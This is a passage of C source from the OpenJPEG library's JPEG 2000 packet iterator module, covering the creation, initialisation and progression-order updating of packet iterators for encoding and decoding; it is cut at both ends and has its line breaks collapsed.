(OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dx_min, (OPJ_INT32)l_dx); *p_dy_min = (OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dy_min, (OPJ_INT32)l_dy); /* various calculations of extents*/ l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); *lResolutionPtr++ = l_pw; *lResolutionPtr++ = l_ph; l_product = l_pw * l_ph; /* update precision*/ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_tccp; ++l_img_comp; } } static opj_pi_iterator_t * opj_pi_create( const opj_image_t *image, const opj_cp_t *cp, OPJ_UINT32 tileno ) { /* loop*/ OPJ_UINT32 pino, compno; /* number of poc in the p_pi*/ OPJ_UINT32 l_poc_bound; /* pointers to tile coding parameters and components.*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *tcp = 00; const opj_tccp_t *tccp = 00; /* current packet iterator being allocated*/ opj_pi_iterator_t *l_current_pi = 00; /* preconditions in debug*/ assert(cp != 00); assert(image != 00); assert(tileno < cp->tw * cp->th); /* initializations*/ tcp = &cp->tcps[tileno]; l_poc_bound = tcp->numpocs+1; /* memory allocations*/ l_pi = (opj_pi_iterator_t*) opj_calloc((l_poc_bound), sizeof(opj_pi_iterator_t)); if (!l_pi) { return NULL; } l_current_pi = l_pi; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_pi->comps = (opj_pi_comp_t*) opj_calloc(image->numcomps, sizeof(opj_pi_comp_t)); if (! l_current_pi->comps) { opj_pi_destroy(l_pi, l_poc_bound); return NULL; } l_current_pi->numcomps = image->numcomps; for (compno = 0; compno < image->numcomps; ++compno) { opj_pi_comp_t *comp = &l_current_pi->comps[compno]; tccp = &tcp->tccps[compno]; comp->resolutions = (opj_pi_resolution_t*) opj_calloc(tccp->numresolutions, sizeof(opj_pi_resolution_t)); if (!comp->resolutions) { opj_pi_destroy(l_pi, l_poc_bound); return 00; } comp->numresolutions = tccp->numresolutions; } ++l_current_pi; } return l_pi; } static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE = l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; /* special treatment for the first element*/ l_current_poc->layS = 0; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; for (pino = 1;pino < l_poc_bound ; ++pino) { l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE= l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; /* special treatment here different from the first element*/ l_current_poc->layS = (l_current_poc->layE > (l_current_poc-1)->layE) ? l_current_poc->layE : 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_poc->compS = 0; l_current_poc->compE = p_num_comps;/*p_image->numcomps;*/ l_current_poc->resS = 0; l_current_poc->resE = p_max_res; l_current_poc->layS = 0; l_current_poc->layE = l_tcp->numlayers; l_current_poc->prg = l_tcp->prg; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_decode_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; opj_poc_t* l_current_poc = 0; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_pi != 00); assert(p_tcp != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; l_current_poc = p_tcp->pocs; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = l_current_poc->prg; /* Progression Order #0 */ l_current_pi->first = 1; l_current_pi->poc.resno0 = l_current_poc->resno0; /* Resolution Level Index #0 (Start) */ l_current_pi->poc.compno0 = l_current_poc->compno0; /* Component Index #0 (Start) */ l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = l_current_poc->resno1; /* Resolution Level Index #0 (End) */ l_current_pi->poc.compno1 = l_current_poc->compno1; /* Component Index #0 (End) */ l_current_pi->poc.layno1 = l_current_poc->layno1; /* Layer Index #0 (End) */ l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; ++l_current_poc; } } static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; /* preconditions in debug*/ assert(p_tcp != 00); assert(p_pi != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = p_tcp->prg; l_current_pi->first = 1; l_current_pi->poc.resno0 = 0; l_current_pi->poc.compno0 = 0; l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = p_max_res; l_current_pi->poc.compno1 = l_current_pi->numcomps; l_current_pi->poc.layno1 = p_tcp->numlayers; l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; } } static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog) { OPJ_INT32 i; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp = &tcps->pocs[pino]; if(pos>=0){ for(i=pos;pos>=0;i--){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'C': if(tcp->comp_t==tcp->compE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'L': if(tcp->lay_t==tcp->layE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: /* fall through */ case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; default: if(tcp->tx0_t == tcp->txE){ /*TY*/ if(tcp->ty0_t == tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; }/*TY*/ }else{ return OPJ_TRUE; } break; }/*end case P*/ }/*end switch*/ }/*end for*/ }/*end if*/ return OPJ_FALSE; } /* ========================================================== Packet iterator interface ========================================================== */ opj_pi_iterator_t *opj_pi_create_decode(opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no) { /* loop */ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions */ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers */ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi */ l_pi = opj_pi_create(p_image, p_cp, p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array */ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters */ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations */ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator */ l_current_pi = l_pi; /* memory allocation for include */ l_current_pi->include = (OPJ_INT16*) opj_calloc((l_tcp->numlayers +1) * l_step_l, sizeof(OPJ_INT16)); if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator */ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_img_comp->dx;*/ /*l_current_pi->dy = l_img_comp->dy;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_dx_min;*/ /*l_current_pi->dy = l_dy_min;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC) { opj_pi_update_decode_poc (l_pi,l_tcp,l_max_prec,l_max_res); } else { opj_pi_update_decode_not_poc(l_pi,l_tcp,l_max_prec,l_max_res); } return l_pi; } opj_pi_iterator_t *opj_pi_initialise_encode(const opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no, J2K_T2_MODE p_t2_mode ) { /* loop*/ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions*/ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set*/ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi*/ l_pi = opj_pi_create(p_image,p_cp,p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array*/ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters*/ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations*/ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator*/ l_pi->tp_on = (OPJ_BYTE)p_cp->m_specific_param.m_enc.m_tp_on; l_current_pi = l_pi; /* memory allocation for include*/ l_current_pi->include = (OPJ_INT16*) opj_calloc(l_tcp->numlayers * l_step_l, sizeof(OPJ_INT16)); if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator*/ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; l_current_pi->dx = l_dx_min; l_current_pi->dy = l_dy_min; l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } /* special treatment*/ l_current_pi->include = (l_current_pi-1)->include; ++l_current_pi; } opj_free(l_tmp_data); l_tmp_data = 00; opj_free(l_tmp_ptr); l_tmp_ptr = 00; if (l_tcp->POC && (OPJ_IS_CINEMA(p_cp->rsiz) || p_t2_mode == FINAL_PASS)) { opj_pi_update_encode_poc_and_final(p_cp,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } else { opj_pi_update_encode_not_poc(p_cp,p_image->numcomps,p_tile_no,l_tx0,l_tx1,l_ty0,l_ty1,l_max_prec,l_max_res,l_dx_min,l_dy_min); } return l_pi; } void opj_pi_create_encode( opj_pi_iterator_t *pi, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, OPJ_UINT32 tpnum, OPJ_INT32 tppos, J2K_T2_MODE t2_mode) { const OPJ_CHAR *prog; OPJ_INT32 i; OPJ_UINT32 incr_top=1,resetX=0; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp= &tcps->pocs[pino]; prog = opj_j2k_convert_progression_order(tcp->prg); pi[pino].first = 1; pi[pino].poc.prg = tcp->prg; if(!(cp->m_specific_param.m_enc.m_tp_on && ((!OPJ_IS_CINEMA(cp->rsiz) && (t2_mode == FINAL_PASS)) || OPJ_IS_CINEMA(cp->rsiz)))){ pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; }else { for(i=tppos+1;i<4;i++){ switch(prog[i]){ case 'R': pi[pino].poc.resno0 = tcp->resS; pi[pino].poc.resno1 = tcp->resE; break; case 'C': pi[pino].poc.compno0 = tcp->compS; pi[pino].poc.compno1 = tcp->compE; break; case 'L': pi[pino].poc.layno0 = tcp->layS; pi[pino].poc.layno1 = tcp->layE; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prcS; pi[pino].poc.precno1 = tcp->prcE; break; default: pi[pino].poc.tx0 = (OPJ_INT32)tcp->txS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->tyS; pi[pino].poc.tx1 = (OPJ_INT32)tcp->txE; pi[pino].poc.ty1 = (OPJ_INT32)tcp->tyE; break; } break; } } if(tpnum==0){ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; break; case 'R': tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; break; case 'L': tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; break; default: tcp->tx0_t = tcp->txS; tcp->ty0_t = tcp->tyS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; break; } break; } } incr_top=1; }else{ for(i=tppos;i>=0;i--){ switch(prog[i]){ case 'C': pi[pino].poc.compno0 = tcp->comp_t-1; pi[pino].poc.compno1 = tcp->comp_t; break; case 'R': pi[pino].poc.resno0 = tcp->res_t-1; pi[pino].poc.resno1 = tcp->res_t; break; case 'L': pi[pino].poc.layno0 = tcp->lay_t-1; pi[pino].poc.layno1 = tcp->lay_t; break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: pi[pino].poc.precno0 = tcp->prc_t-1; pi[pino].poc.precno1 = tcp->prc_t; break; default: pi[pino].poc.tx0 = (OPJ_INT32)(tcp->tx0_t - tcp->dx - (tcp->tx0_t % tcp->dx)); pi[pino].poc.tx1 = (OPJ_INT32)tcp->tx0_t ; pi[pino].poc.ty0 = (OPJ_INT32)(tcp->ty0_t - tcp->dy - (tcp->ty0_t % tcp->dy)); pi[pino].poc.ty1 = (OPJ_INT32)tcp->ty0_t ; break; } break; } if(incr_top==1){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->res_t = tcp->resS; pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.resno0 = tcp->res_t; pi[pino].poc.resno1 = tcp->res_t+1; tcp->res_t+=1; incr_top=0; } break; case 'C': if(tcp->comp_t ==tcp->compE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->comp_t = tcp->compS; pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.compno0 = tcp->comp_t; pi[pino].poc.compno1 = tcp->comp_t+1; tcp->comp_t+=1; incr_top=0; } break; case 'L': if(tcp->lay_t == tcp->layE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->lay_t = tcp->layS; pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.layno0 = tcp->lay_t; pi[pino].poc.layno1 = tcp->lay_t+1; tcp->lay_t+=1; incr_top=0; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->prc_t = tcp->prcS; pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=1; }else{ incr_top=0; } }else{ pi[pino].poc.precno0 = tcp->prc_t; pi[pino].poc.precno1 = tcp->prc_t+1; tcp->prc_t+=1; incr_top=0; } break; default: if(tcp->tx0_t >= tcp->txE){ if(tcp->ty0_t >= tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ tcp->ty0_t = tcp->tyS; pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=1;resetX=1; }else{ incr_top=0;resetX=0; } }else{ pi[pino].poc.ty0 = (OPJ_INT32)tcp->ty0_t; pi[pino].poc.ty1 = (OPJ_INT32)(tcp->ty0_t + tcp->dy - (tcp->ty0_t % tcp->dy)); tcp->ty0_t = (OPJ_UINT32)pi[pino].poc.ty1; incr_top=0;resetX=1; } if(resetX==1){ tcp->tx0_t = tcp->txS; pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; } }else{ pi[pino].poc.tx0 = (OPJ_INT32)tcp->tx0_t; pi[pino].poc.tx1 = (OPJ_INT32)(tcp->tx0_t + tcp->dx- (tcp->tx0_t % tcp->dx)); tcp->tx0_t = (OPJ_UINT32)pi[pino].poc.tx1; incr_top=0; } break; } break; } } } } } } void opj_pi_destroy(opj_pi_iterator_t *p_pi, OPJ_UINT32 p_nb_elements) { OPJ_UINT32 compno, pino; opj_pi_iterator_t *l_current_pi = p_pi; if (p_pi) { if (p_pi->include) { 